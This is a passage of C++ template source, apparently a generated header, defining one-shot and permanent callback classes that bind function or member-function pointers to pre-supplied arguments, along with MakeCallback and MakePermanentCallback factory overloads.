MemberResultCallback_1_0<false, RetType, Caller, P1>(instance, method, p1); } template <bool del, typename RetType, typename P1> class FunctionResultCallback_1_0 : public ResultCallback<RetType> { public: typedef ResultCallback<RetType> base; typedef RetType (*Function)(P1); inline FunctionResultCallback_1_0(Function function, typename internal::ConstRef<P1>::type p1) : function_(function), p1_(p1) {} bool isRepeatable() const override { return !del; } RetType run() override { if (!del) { return (*function_)(p1_); } else { RetType result = (*function_)(p1_); function_ = nullptr; delete this; return result; } } private: Function function_; typename ::std::remove_reference<P1>::type p1_; }; template <bool del, typename P1> class FunctionResultCallback_1_0<del, void, P1> : public Callback { public: typedef Callback base; typedef void (*Function)(P1); inline FunctionResultCallback_1_0(Function function, typename internal::ConstRef<P1>::type p1) : function_(function), p1_(p1) {} bool isRepeatable() const override { return !del; } void run() override { if (!del) { (*function_)(p1_); } else { (*function_)(p1_); function_ = nullptr; delete this; } } private: Function function_; typename ::std::remove_reference<P1>::type p1_; }; template <typename RetType, typename P1> inline typename FunctionResultCallback_1_0<true, RetType, P1>::base* MakeCallback(RetType (*function)(P1), typename internal::ConstRef<P1>::type p1) { return new FunctionResultCallback_1_0<true, RetType, P1>(function, p1); } template <typename RetType, typename P1> inline typename FunctionResultCallback_1_0<false, RetType, P1>::base* MakePermanentCallback(RetType (*function)(P1), typename internal::ConstRef<P1>::type p1) { return new FunctionResultCallback_1_0<false, RetType, P1>(function, p1); } template <bool del, typename RetType, typename Class, typename P1, typename A1, typename OnlyIf = typename ::std::enable_if<::std::is_compound<Class>::value>::type> class ConstMemberResultCallback_1_1 : public ResultCallback1<RetType, A1> { public: typedef ResultCallback1<RetType, A1> base; typedef RetType (Class::*Method)(P1, A1) const; inline ConstMemberResultCallback_1_1( const Class* instance, Method method, typename internal::ConstRef<P1>::type p1) : instance_(instance), method_(method), p1_(p1) {} bool isRepeatable() const override { return !del; } RetType run(A1 a1) override { if (!del) { return (instance_->*method_)(p1_, a1); } else { RetType result = (instance_->*method_)(p1_, a1); method_ = nullptr; delete this; return result; } } private: const Class* instance_; Method method_; typename ::std::remove_reference<P1>::type p1_; }; template <bool del, typename Class, typename P1, typename A1> class ConstMemberResultCallback_1_1< del, void, Class, P1, A1, typename ::std::enable_if<::std::is_compound<Class>::value>::type> : public Callback1<A1> { public: typedef Callback1<A1> base; typedef void (Class::*Method)(P1, A1) const; inline ConstMemberResultCallback_1_1( const Class* instance, Method method, typename internal::ConstRef<P1>::type p1) : instance_(instance), method_(method), p1_(p1) {} bool isRepeatable() const override { return !del; } void run(A1 a1) override { if (!del) { (instance_->*method_)(p1_, a1); } else { (instance_->*method_)(p1_, a1); method_ = nullptr; delete this; } } private: const Class* instance_; Method method_; typename ::std::remove_reference<P1>::type p1_; }; template <typename Caller, typename Callee, typename RetType, typename P1, typename A1> inline typename ConstMemberResultCallback_1_1<true, RetType, Caller, P1, A1>::base* MakeCallback(const Caller* instance, RetType (Callee::*method)(P1, A1) const, typename internal::ConstRef<P1>::type p1) { return new ConstMemberResultCallback_1_1<true, RetType, Caller, P1, A1>( instance, method, p1); } template <typename Caller, typename Callee, typename RetType, typename P1, typename A1> inline typename ConstMemberResultCallback_1_1<false, RetType, Caller, P1, A1>::base* MakePermanentCallback(const Caller* instance, RetType (Callee::*method)(P1, A1) const, typename internal::ConstRef<P1>::type p1) { return new ConstMemberResultCallback_1_1<false, RetType, Caller, P1, A1>( instance, method, p1); } template <bool del, typename RetType, typename Class, typename P1, typename A1, typename OnlyIf = typename ::std::enable_if<::std::is_compound<Class>::value>::type> class MemberResultCallback_1_1 : public ResultCallback1<RetType, A1> { public: typedef ResultCallback1<RetType, A1> base; typedef RetType (Class::*Method)(P1, A1); inline MemberResultCallback_1_1(Class* instance, Method method, typename internal::ConstRef<P1>::type p1) : instance_(instance), method_(method), p1_(p1) {} bool isRepeatable() const override { return !del; } RetType run(A1 a1) override { if (!del) { return (instance_->*method_)(p1_, a1); } else { RetType result = (instance_->*method_)(p1_, a1); method_ = nullptr; delete this; return result; } } private: Class* instance_; Method method_; typename ::std::remove_reference<P1>::type p1_; }; template <bool del, typename Class, typename P1, typename A1> class MemberResultCallback_1_1< del, void, Class, P1, A1, typename ::std::enable_if<::std::is_compound<Class>::value>::type> : public Callback1<A1> { public: typedef Callback1<A1> base; typedef void (Class::*Method)(P1, A1); inline MemberResultCallback_1_1(Class* instance, Method method, typename internal::ConstRef<P1>::type p1) : instance_(instance), method_(method), p1_(p1) {} bool isRepeatable() const override { return !del; } void run(A1 a1) override { if (!del) { (instance_->*method_)(p1_, a1); } else { (instance_->*method_)(p1_, a1); method_ = nullptr; delete this; } } private: Class* instance_; Method method_; typename ::std::remove_reference<P1>::type p1_; }; template <typename Caller, typename Callee, typename RetType, typename P1, typename A1> inline typename MemberResultCallback_1_1<true, RetType, Caller, P1, A1>::base* MakeCallback(Caller* instance, RetType (Callee::*method)(P1, A1), typename internal::ConstRef<P1>::type p1) { return new MemberResultCallback_1_1<true, RetType, Caller, P1, A1>( instance, method, p1); } template <typename Caller, typename Callee, typename RetType, typename P1, typename A1> inline typename MemberResultCallback_1_1<false, RetType, Caller, P1, A1>::base* MakePermanentCallback(Caller* instance, RetType (Callee::*method)(P1, A1), typename internal::ConstRef<P1>::type p1) { return new MemberResultCallback_1_1<false, RetType, Caller, P1, A1>( instance, method, p1); } template <bool del, typename RetType, typename P1, typename A1> class FunctionResultCallback_1_1 : public ResultCallback1<RetType, A1> { public: typedef ResultCallback1<RetType, A1> base; typedef RetType (*Function)(P1, A1); inline FunctionResultCallback_1_1(Function function, typename internal::ConstRef<P1>::type p1) : function_(function), p1_(p1) {} bool isRepeatable() const override { return !del; } RetType run(A1 a1) override { if (!del) { return (*function_)(p1_, a1); } else { RetType result = (*function_)(p1_, a1); function_ = nullptr; delete this; return result; } } private: Function function_; typename ::std::remove_reference<P1>::type p1_; }; template <bool del, typename P1, typename A1> class FunctionResultCallback_1_1<del, void, P1, A1> : public Callback1<A1> { public: typedef Callback1<A1> base; typedef void (*Function)(P1, A1); inline FunctionResultCallback_1_1(Function function, typename internal::ConstRef<P1>::type p1) : function_(function), p1_(p1) {} bool isRepeatable() const override { return !del; } void run(A1 a1) override { if (!del) { (*function_)(p1_, a1); } else { (*function_)(p1_, a1); function_ = nullptr; delete this; } } private: Function function_; typename ::std::remove_reference<P1>::type p1_; }; template <typename RetType, typename P1, typename A1> inline typename FunctionResultCallback_1_1<true, RetType, P1, A1>::base* MakeCallback(RetType (*function)(P1, A1), typename internal::ConstRef<P1>::type p1) { return new FunctionResultCallback_1_1<true, RetType, P1, A1>(function, p1); } template <typename RetType, typename P1, typename A1> inline typename FunctionResultCallback_1_1<false, RetType, P1, A1>::base* MakePermanentCallback(RetType (*function)(P1, A1), typename internal::ConstRef<P1>::type p1) { return new FunctionResultCallback_1_1<false, RetType, P1, A1>(function, p1); } template <bool del, typename RetType, typename Class, typename P1, typename A1, typename A2, typename OnlyIf = typename ::std::enable_if<::std::is_compound<Class>::value>::type> class ConstMemberResultCallback_1_2 : public ResultCallback2<RetType, A1, A2> { public: typedef ResultCallback2<RetType, A1, A2> base; typedef RetType (Class::*Method)(P1, A1, A2) const; inline ConstMemberResultCallback_1_2( const Class* instance, Method method, typename internal::ConstRef<P1>::type p1) : instance_(instance), method_(method), p1_(p1) {} bool isRepeatable() const override { return !del; } RetType run(A1 a1, A2 a2) override { if (!del) { return (instance_->*method_)(p1_, a1, a2); } else { RetType result = (instance_->*method_)(p1_, a1, a2); method_ = nullptr; delete this; return result; } } private: const Class* instance_; Method method_; typename ::std::remove_reference<P1>::type p1_; }; template <bool del, typename Class, typename P1, typename A1, typename A2> class ConstMemberResultCallback_1_2< del, void, Class, P1, A1, A2, typename ::std::enable_if<::std::is_compound<Class>::value>::type> : public Callback2<A1, A2> { public: typedef Callback2<A1, A2> base; typedef void (Class::*Method)(P1, A1, A2) const; inline ConstMemberResultCallback_1_2( const Class* instance, Method method, typename internal::ConstRef<P1>::type p1) : instance_(instance), method_(method), p1_(p1) {} bool isRepeatable() const override { return !del; } void run(A1 a1, A2 a2) override { if (!del) { (instance_->*method_)(p1_, a1, a2); } else { (instance_->*method_)(p1_, a1, a2); method_ = nullptr; delete this; } } private: const Class* instance_; Method method_; typename ::std::remove_reference<P1>::type p1_; }; template <typename Caller, typename Callee, typename RetType, typename P1, typename A1, typename A2> inline typename ConstMemberResultCallback_1_2<true, RetType, Caller, P1, A1, A2>::base* MakeCallback(const Caller* instance, RetType (Callee::*method)(P1, A1, A2) const, typename internal::ConstRef<P1>::type p1) { return new ConstMemberResultCallback_1_2<true, RetType, Caller, P1, A1, A2>( instance, method, p1); } template <typename Caller, typename Callee, typename RetType, typename P1, typename A1, typename A2> inline typename ConstMemberResultCallback_1_2<false, RetType, Caller, P1, A1, A2>::base* MakePermanentCallback(const Caller* instance, RetType (Callee::*method)(P1, A1, A2) const, typename internal::ConstRef<P1>::type p1) { return new ConstMemberResultCallback_1_2<false, RetType, Caller, P1, A1, A2>(instance, method, p1); } template <bool del, typename RetType, typename Class, typename P1, typename A1, typename A2, typename OnlyIf = typename ::std::enable_if<::std::is_compound<Class>::value>::type> class MemberResultCallback_1_2 : public ResultCallback2<RetType, A1, A2> { public: typedef ResultCallback2<RetType, A1, A2> base; typedef RetType (Class::*Method)(P1, A1, A2); inline MemberResultCallback_1_2(Class* instance, Method method, typename internal::ConstRef<P1>::type p1) : instance_(instance), method_(method), p1_(p1) {} bool isRepeatable() const override { return !del; } RetType run(A1 a1, A2 a2) override { if (!del) { return (instance_->*method_)(p1_, a1, a2); } else { RetType result = (instance_->*method_)(p1_, a1, a2); method_ = nullptr; delete this; return result; } } private: Class* instance_; Method method_; typename ::std::remove_reference<P1>::type p1_; }; template <bool del, typename Class, typename P1, typename A1, typename A2> class MemberResultCallback_1_2< del, void, Class, P1, A1, A2, typename ::std::enable_if<::std::is_compound<Class>::value>::type> : public Callback2<A1, A2> { public: typedef Callback2<A1, A2> base; typedef void (Class::*Method)(P1, A1, A2); inline MemberResultCallback_1_2(Class* instance, Method method, typename internal::ConstRef<P1>::type p1) : instance_(instance), method_(method), p1_(p1) {} bool isRepeatable() const override { return !del; } void run(A1 a1, A2 a2) override { if (!del) { (instance_->*method_)(p1_, a1, a2); } else { (instance_->*method_)(p1_, a1, a2); method_ = nullptr; delete this; } } private: Class* instance_; Method method_; typename ::std::remove_reference<P1>::type p1_; }; template <typename Caller, typename Callee, typename RetType, typename P1, typename A1, typename A2> inline typename MemberResultCallback_1_2<true, RetType, Caller, P1, A1, A2>::base* MakeCallback(Caller* instance, RetType (Callee::*method)(P1, A1, A2), typename internal::ConstRef<P1>::type p1) { return new MemberResultCallback_1_2<true, RetType, Caller, P1, A1, A2>( instance, method, p1); } template <typename Caller, typename Callee, typename RetType, typename P1, typename A1, typename A2> inline typename MemberResultCallback_1_2<false, RetType, Caller, P1, A1, A2>::base* MakePermanentCallback(Caller* instance, RetType (Callee::*method)(P1, A1, A2), typename internal::ConstRef<P1>::type p1) { return new MemberResultCallback_1_2<false, RetType, Caller, P1, A1, A2>( instance, method, p1); } template <bool del, typename RetType, typename P1, typename A1, typename A2> class FunctionResultCallback_1_2 : public ResultCallback2<RetType, A1, A2> { public: typedef ResultCallback2<RetType, A1, A2> base; typedef RetType (*Function)(P1, A1, A2); inline FunctionResultCallback_1_2(Function function, typename internal::ConstRef<P1>::type p1) : function_(function), p1_(p1) {} bool isRepeatable() const override { return !del; } RetType run(A1 a1, A2 a2) override { if (!del) { return (*function_)(p1_, a1, a2); } else { RetType result = (*function_)(p1_, a1, a2); function_ = nullptr; delete this; return result; } } private: Function function_; typename ::std::remove_reference<P1>::type p1_; }; template <bool del, typename P1, typename A1, typename A2> class FunctionResultCallback_1_2<del, void, P1, A1, A2> : public Callback2<A1, A2> { public: typedef Callback2<A1, A2> base; typedef void (*Function)(P1, A1, A2); inline FunctionResultCallback_1_2(Function function, typename internal::ConstRef<P1>::type p1) : function_(function), p1_(p1) {} bool isRepeatable() const override { return !del; } void run(A1 a1, A2 a2) override { if (!del) { (*function_)(p1_, a1, a2); } else { (*function_)(p1_, a1, a2); function_ = nullptr; delete this; } } private: Function function_; typename ::std::remove_reference<P1>::type p1_; }; template <typename RetType, typename P1, typename A1, typename A2> inline typename FunctionResultCallback_1_2<true, RetType, P1, A1, A2>::base* MakeCallback(RetType (*function)(P1, A1, A2), typename internal::ConstRef<P1>::type p1) { return new FunctionResultCallback_1_2<true, RetType, P1, A1, A2>(function, p1); } template <typename RetType, typename P1, typename A1, typename A2> inline typename FunctionResultCallback_1_2<false, RetType, P1, A1, A2>::base* MakePermanentCallback(RetType (*function)(P1, A1, A2), typename internal::ConstRef<P1>::type p1) { return new FunctionResultCallback_1_2<false, RetType, P1, A1, A2>(function, p1); } template <bool del, typename RetType, typename Class, typename P1, typename A1, typename A2, typename A3, typename OnlyIf = typename ::std::enable_if<::std::is_compound<Class>::value>::type> class ConstMemberResultCallback_1_3 : public ResultCallback3<RetType, A1, A2, A3> { public: typedef ResultCallback3<RetType, A1, A2, A3> base; typedef RetType (Class::*Method)(P1, A1, A2, A3) const; inline ConstMemberResultCallback_1_3( const Class* instance, Method method, typename internal::ConstRef<P1>::type p1) : instance_(instance), method_(method), p1_(p1) {} bool isRepeatable() const override { return !del; } RetType run(A1 a1, A2 a2, A3 a3) override { if (!del) { return (instance_->*method_)(p1_, a1, a2, a3); } else { RetType result = (instance_->*method_)(p1_, a1, a2, a3); method_ = nullptr; delete this; return result; } } private: const Class* instance_; Method method_; typename ::std::remove_reference<P1>::type p1_; }; template <bool del, typename Class, typename P1, typename A1, typename A2, typename A3> class ConstMemberResultCallback_1_3< del, void, Class, P1, A1, A2, A3, typename ::std::enable_if<::std::is_compound<Class>::value>::type> : public Callback3<A1, A2, A3> { public: typedef Callback3<A1, A2, A3> base; typedef void (Class::*Method)(P1, A1, A2, A3) const; inline ConstMemberResultCallback_1_3( const Class* instance, Method method, typename internal::ConstRef<P1>::type p1) : instance_(instance), method_(method), p1_(p1) {} bool isRepeatable() const override { return !del; } void run(A1 a1, A2 a2, A3 a3) override { if (!del) { (instance_->*method_)(p1_, a1, a2, a3); } else { (instance_->*method_)(p1_, a1, a2, a3); method_ = nullptr; delete this; } } private: const Class* instance_; Method method_; typename ::std::remove_reference<P1>::type p1_; }; template <typename Caller, typename Callee, typename RetType, typename P1, typename A1, typename A2, typename A3> inline typename ConstMemberResultCallback_1_3<true, RetType, Caller, P1, A1, A2, A3>::base* MakeCallback(const Caller* instance, RetType (Callee::*method)(P1, A1, A2, A3) const, typename internal::ConstRef<P1>::type p1) { return new ConstMemberResultCallback_1_3<true, RetType, Caller, P1, A1, A2, A3>(instance, method, p1); } template <typename Caller, typename Callee, typename RetType, typename P1, typename A1, typename A2, typename A3> inline typename ConstMemberResultCallback_1_3<false, RetType, Caller, P1, A1, A2, A3>::base* MakePermanentCallback(const Caller* instance, RetType (Callee::*method)(P1, A1, A2, A3) const, typename internal::ConstRef<P1>::type p1) { return new ConstMemberResultCallback_1_3<false, RetType, Caller, P1, A1, A2, A3>(instance, method, p1); } template <bool del, typename RetType, typename Class, typename P1, typename A1, typename A2, typename A3, typename OnlyIf = typename ::std::enable_if<::std::is_compound<Class>::value>::type> class MemberResultCallback_1_3 : public ResultCallback3<RetType, A1, A2, A3> { public: typedef ResultCallback3<RetType, A1, A2, A3> base; typedef RetType (Class::*Method)(P1, A1, A2, A3); inline MemberResultCallback_1_3(Class* instance, Method method, typename internal::ConstRef<P1>::type p1) : instance_(instance), method_(method), p1_(p1) {} bool isRepeatable() const override { return !del; } RetType run(A1 a1, A2 a2, A3 a3) override { if (!del) { return (instance_->*method_)(p1_, a1, a2, a3); } else { RetType result = (instance_->*method_)(p1_, a1, a2, a3); method_ = nullptr; delete this; return result; } } private: Class* instance_; Method method_; typename ::std::remove_reference<P1>::type p1_; }; template <bool del, typename Class, typename P1, typename A1, typename A2, typename A3> class MemberResultCallback_1_3< del, void, Class, P1, A1, A2, A3, typename ::std::enable_if<::std::is_compound<Class>::value>::type> : public Callback3<A1, A2, A3> { public: typedef Callback3<A1, A2, A3> base; typedef void (Class::*Method)(P1, A1, A2, A3); inline MemberResultCallback_1_3(Class* instance, Method method, typename internal::ConstRef<P1>::type p1) : instance_(instance), method_(method), p1_(p1) {} bool isRepeatable() const override { return !del; } void run(A1 a1, A2 a2, A3 a3) override { if (!del) { (instance_->*method_)(p1_, a1, a2, a3); } else { (instance_->*method_)(p1_, a1, a2, a3); method_ = nullptr; delete this; } } private: Class* instance_; Method method_; typename ::std::remove_reference<P1>::type p1_; }; template <typename Caller, typename Callee, typename RetType, typename P1, typename A1, typename A2, typename A3> inline typename MemberResultCallback_1_3<true, RetType, Caller, P1, A1, A2, A3>::base* MakeCallback(Caller* instance, RetType (Callee::*method)(P1, A1, A2, A3), typename internal::ConstRef<P1>::type p1) { return new MemberResultCallback_1_3<true, RetType, Caller, P1, A1, A2, A3>( instance, method, p1); } template <typename Caller, typename Callee, typename RetType, typename P1, typename A1, typename A2, typename A3> inline typename MemberResultCallback_1_3<false, RetType, Caller, P1, A1, A2, A3>::base* MakePermanentCallback(Caller* instance, RetType (Callee::*method)(P1, A1, A2, A3), typename internal::ConstRef<P1>::type p1) { return new MemberResultCallback_1_3<false, RetType, Caller, P1, A1, A2, A3>( instance, method, p1); } template <bool del, typename RetType, typename P1, typename A1, typename A2, typename A3> class FunctionResultCallback_1_3 : public ResultCallback3<RetType, A1, A2, A3> { public: typedef ResultCallback3<RetType, A1, A2, A3> base; typedef RetType (*Function)(P1, A1, A2, A3); inline FunctionResultCallback_1_3(Function function, typename internal::ConstRef<P1>::type p1) : function_(function), p1_(p1) {} bool isRepeatable() const override { return !del; } RetType run(A1 a1, A2 a2, A3 a3) override { if (!del) { return (*function_)(p1_, a1, a2, a3); } else { RetType result = (*function_)(p1_, a1, a2, a3); function_ = nullptr; delete this; return result; } } private: Function function_; typename ::std::remove_reference<P1>::type p1_; }; template <bool del, typename P1, typename A1, typename A2, typename A3> class FunctionResultCallback_1_3<del, void, P1, A1, A2, A3> : public Callback3<A1, A2, A3> { public: typedef Callback3<A1, A2, A3> base; typedef void (*Function)(P1, A1, A2, A3); inline FunctionResultCallback_1_3(Function function, typename internal::ConstRef<P1>::type p1) : function_(function), p1_(p1) {} bool isRepeatable() const override { return !del; } void run(A1 a1, A2 a2, A3 a3) override { if (!del) { (*function_)(p1_, a1, a2, a3); } else { (*function_)(p1_, a1, a2, a3); function_ = nullptr; delete this; } } private: Function function_; typename ::std::remove_reference<P1>::type p1_; }; template <typename RetType, typename P1, typename A1, typename A2, typename A3> inline typename FunctionResultCallback_1_3<true, RetType, P1, A1, A2, A3>::base* MakeCallback(RetType (*function)(P1, A1, A2, A3), typename internal::ConstRef<P1>::type p1) { return new FunctionResultCallback_1_3<true, RetType, P1, A1, A2, A3>( function, p1); } template <typename RetType, typename P1, typename A1, typename A2, typename A3> inline typename FunctionResultCallback_1_3<false, RetType, P1, A1, A2, A3>::base* MakePermanentCallback(RetType (*function)(P1, A1, A2, A3), typename internal::ConstRef<P1>::type p1) { return new FunctionResultCallback_1_3<false, RetType, P1, A1, A2, A3>( function, p1); } template <bool del, typename RetType, typename Class, typename P1, typename P2, typename OnlyIf = typename ::std::enable_if<::std::is_compound<Class>::value>::type> class ConstMemberResultCallback_2_0 : public ResultCallback<RetType> { public: typedef ResultCallback<RetType> base; typedef RetType (Class::*Method)(P1, P2) const; inline ConstMemberResultCallback_2_0( const Class* instance, Method method, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2) : instance_(instance), method_(method), p1_(p1), p2_(p2) {} bool isRepeatable() const override { return !del; } RetType run() override { if (!del) { return (instance_->*method_)(p1_, p2_); } else { RetType result = (instance_->*method_)(p1_, p2_); method_ = nullptr; delete this; return result; } } private: const Class* instance_; Method method_; typename ::std::remove_reference<P1>::type p1_; typename ::std::remove_reference<P2>::type p2_; }; template <bool del, typename Class, typename P1, typename P2> class ConstMemberResultCallback_2_0< del, void, Class, P1, P2, typename ::std::enable_if<::std::is_compound<Class>::value>::type> : public Callback { public: typedef Callback base; typedef void (Class::*Method)(P1, P2) const; inline ConstMemberResultCallback_2_0( const Class* instance, Method method, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2) : instance_(instance), method_(method), p1_(p1), p2_(p2) {} bool isRepeatable() const override { return !del; } void run() override { if (!del) { (instance_->*method_)(p1_, p2_); } else { (instance_->*method_)(p1_, p2_); method_ = nullptr; delete this; } } private: const Class* instance_; Method method_; typename ::std::remove_reference<P1>::type p1_; typename ::std::remove_reference<P2>::type p2_; }; template <typename Caller, typename Callee, typename RetType, typename P1, typename P2> inline typename ConstMemberResultCallback_2_0<true, RetType, Caller, P1, P2>::base* MakeCallback(const Caller* instance, RetType (Callee::*method)(P1, P2) const, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2) { return new ConstMemberResultCallback_2_0<true, RetType, Caller, P1, P2>( instance, method, p1, p2); } template <typename Caller, typename Callee, typename RetType, typename P1, typename P2> inline typename ConstMemberResultCallback_2_0<false, RetType, Caller, P1, P2>::base* MakePermanentCallback(const Caller* instance, RetType (Callee::*method)(P1, P2) const, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2) { return new ConstMemberResultCallback_2_0<false, RetType, Caller, P1, P2>( instance, method, p1, p2); } template <bool del, typename RetType, typename Class, typename P1, typename P2, typename OnlyIf = typename ::std::enable_if<::std::is_compound<Class>::value>::type> class MemberResultCallback_2_0 : public ResultCallback<RetType> { public: typedef ResultCallback<RetType> base; typedef RetType (Class::*Method)(P1, P2); inline MemberResultCallback_2_0(Class* instance, Method method, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2) : instance_(instance), method_(method), p1_(p1), p2_(p2) {} bool isRepeatable() const override { return !del; } RetType run() override { if (!del) { return (instance_->*method_)(p1_, p2_); } else { RetType result = (instance_->*method_)(p1_, p2_); method_ = nullptr; delete this; return result; } } private: Class* instance_; Method method_; typename ::std::remove_reference<P1>::type p1_; typename ::std::remove_reference<P2>::type p2_; }; template <bool del, typename Class, typename P1, typename P2> class MemberResultCallback_2_0< del, void, Class, P1, P2, typename ::std::enable_if<::std::is_compound<Class>::value>::type> : public Callback { public: typedef Callback base; typedef void (Class::*Method)(P1, P2); inline MemberResultCallback_2_0(Class* instance, Method method, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2) : instance_(instance), method_(method), p1_(p1), p2_(p2) {} bool isRepeatable() const override { return !del; } void run() override { if (!del) { (instance_->*method_)(p1_, p2_); } else { (instance_->*method_)(p1_, p2_); method_ = nullptr; delete this; } } private: Class* instance_; Method method_; typename ::std::remove_reference<P1>::type p1_; typename ::std::remove_reference<P2>::type p2_; }; template <typename Caller, typename Callee, typename RetType, typename P1, typename P2> inline typename MemberResultCallback_2_0<true, RetType, Caller, P1, P2>::base* MakeCallback(Caller* instance, RetType (Callee::*method)(P1, P2), typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2) { return new MemberResultCallback_2_0<true, RetType, Caller, P1, P2>( instance, method, p1, p2); } template <typename Caller, typename Callee, typename RetType, typename P1, typename P2> inline typename MemberResultCallback_2_0<false, RetType, Caller, P1, P2>::base* MakePermanentCallback(Caller* instance, RetType (Callee::*method)(P1, P2), typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2) { return new MemberResultCallback_2_0<false, RetType, Caller, P1, P2>( instance, method, p1, p2); } template <bool del, typename RetType, typename P1, typename P2> class FunctionResultCallback_2_0 : public ResultCallback<RetType> { public: typedef ResultCallback<RetType> base; typedef RetType (*Function)(P1, P2); inline FunctionResultCallback_2_0(Function function, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2) : function_(function), p1_(p1), p2_(p2) {} bool isRepeatable() const override { return !del; } RetType run() override { if (!del) { return (*function_)(p1_, p2_); } else { RetType result = (*function_)(p1_, p2_); function_ = nullptr; delete this; return result; } } private: Function function_; typename ::std::remove_reference<P1>::type p1_; typename ::std::remove_reference<P2>::type p2_; }; template <bool del, typename P1, typename P2> class FunctionResultCallback_2_0<del, void, P1, P2> : public Callback { public: typedef Callback base; typedef void (*Function)(P1, P2); inline FunctionResultCallback_2_0(Function function, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2) : function_(function), p1_(p1), p2_(p2) {} bool isRepeatable() const override { return !del; } void run() override { if (!del) { (*function_)(p1_, p2_); } else { (*function_)(p1_, p2_); function_ = nullptr; delete this; } } private: Function function_; typename ::std::remove_reference<P1>::type p1_; typename ::std::remove_reference<P2>::type p2_; }; template <typename RetType, typename P1, typename P2> inline typename FunctionResultCallback_2_0<true, RetType, P1, P2>::base* MakeCallback(RetType (*function)(P1, P2), typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2) { return new FunctionResultCallback_2_0<true, RetType, P1, P2>(function, p1, p2); } template <typename RetType, typename P1, typename P2> inline typename FunctionResultCallback_2_0<false, RetType, P1, P2>::base* MakePermanentCallback(RetType (*function)(P1, P2), typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2) { return new FunctionResultCallback_2_0<false, RetType, P1, P2>(function, p1, p2); } template <bool del, typename RetType, typename Class, typename P1, typename P2, typename A1, typename OnlyIf = typename ::std::enable_if<::std::is_compound<Class>::value>::type> class ConstMemberResultCallback_2_1 : public ResultCallback1<RetType, A1> { public: typedef ResultCallback1<RetType, A1> base; typedef RetType (Class::*Method)(P1, P2, A1) const; inline ConstMemberResultCallback_2_1( const Class* instance, Method method, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2) : instance_(instance), method_(method), p1_(p1), p2_(p2) {} bool isRepeatable() const override { return !del; } RetType run(A1 a1) override { if (!del) { return (instance_->*method_)(p1_, p2_, a1); } else { RetType result = (instance_->*method_)(p1_, p2_, a1); method_ = nullptr; delete this; return result; } } private: const Class* instance_; Method method_; typename ::std::remove_reference<P1>::type p1_; typename ::std::remove_reference<P2>::type p2_; }; template <bool del, typename Class, typename P1, typename P2, typename A1> class ConstMemberResultCallback_2_1< del, void, Class, P1, P2, A1, typename ::std::enable_if<::std::is_compound<Class>::value>::type> : public Callback1<A1> { public: typedef Callback1<A1> base; typedef void (Class::*Method)(P1, P2, A1) const; inline ConstMemberResultCallback_2_1( const Class* instance, Method method, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2) : instance_(instance), method_(method), p1_(p1), p2_(p2) {} bool isRepeatable() const override { return !del; } void run(A1 a1) override { if (!del) { (instance_->*method_)(p1_, p2_, a1); } else { (instance_->*method_)(p1_, p2_, a1); method_ = nullptr; delete this; } } private: const Class* instance_; Method method_; typename ::std::remove_reference<P1>::type p1_; typename ::std::remove_reference<P2>::type p2_; }; template <typename Caller, typename Callee, typename RetType, typename P1, typename P2, typename A1> inline typename ConstMemberResultCallback_2_1<true, RetType, Caller, P1, P2, A1>::base* MakeCallback(const Caller* instance, RetType (Callee::*method)(P1, P2, A1) const, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2) { return new ConstMemberResultCallback_2_1<true, RetType, Caller, P1, P2, A1>( instance, method, p1, p2); } template <typename Caller, typename Callee, typename RetType, typename P1, typename P2, typename A1> inline typename ConstMemberResultCallback_2_1<false, RetType, Caller, P1, P2, A1>::base* MakePermanentCallback(const Caller* instance, RetType (Callee::*method)(P1, P2, A1) const, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2) { return new ConstMemberResultCallback_2_1<false, RetType, Caller, P1, P2, A1>(instance, method, p1, p2); } template <bool del, typename RetType, typename Class, typename P1, typename P2, typename A1, typename OnlyIf = typename ::std::enable_if<::std::is_compound<Class>::value>::type> class MemberResultCallback_2_1 : public ResultCallback1<RetType, A1> { public: typedef ResultCallback1<RetType, A1> base; typedef RetType (Class::*Method)(P1, P2, A1); inline MemberResultCallback_2_1(Class* instance, Method method, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2) : instance_(instance), method_(method), p1_(p1), p2_(p2) {} bool isRepeatable() const override { return !del; } RetType run(A1 a1) override { if (!del) { return (instance_->*method_)(p1_, p2_, a1); } else { RetType result = (instance_->*method_)(p1_, p2_, a1); method_ = nullptr; delete this; return result; } } private: Class* instance_; Method method_; typename ::std::remove_reference<P1>::type p1_; typename ::std::remove_reference<P2>::type p2_; }; template <bool del, typename Class, typename P1, typename P2, typename A1> class MemberResultCallback_2_1< del, void, Class, P1, P2, A1, typename ::std::enable_if<::std::is_compound<Class>::value>::type> : public Callback1<A1> { public: typedef Callback1<A1> base; typedef void (Class::*Method)(P1, P2, A1); inline MemberResultCallback_2_1(Class* instance, Method method, typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2) : instance_(instance), method_(method), p1_(p1), p2_(p2) {} bool isRepeatable() const override { return !del; } void run(A1 a1) override { if (!del) { (instance_->*method_)(p1_, p2_, a1); } else { (instance_->*method_)(p1_, p2_, a1); method_ = nullptr; delete this; } } private: Class* instance_; Method method_; typename ::std::remove_reference<P1>::type p1_; typename ::std::remove_reference<P2>::type p2_; }; template <typename Caller, typename Callee, typename RetType, typename P1, typename P2, typename A1> inline typename MemberResultCallback_2_1<true, RetType, Caller, P1, P2, A1>::base* MakeCallback(Caller* instance, RetType (Callee::*method)(P1, P2, A1), typename internal::ConstRef<P1>::type p1, typename internal::ConstRef<P2>::type p2) { return new MemberResultCallback_2_1<true, RetType, Caller, P1, P2, A1>( instance, method, p1, p2); } template <typename Caller, typename Callee, typename RetType, typename P1, 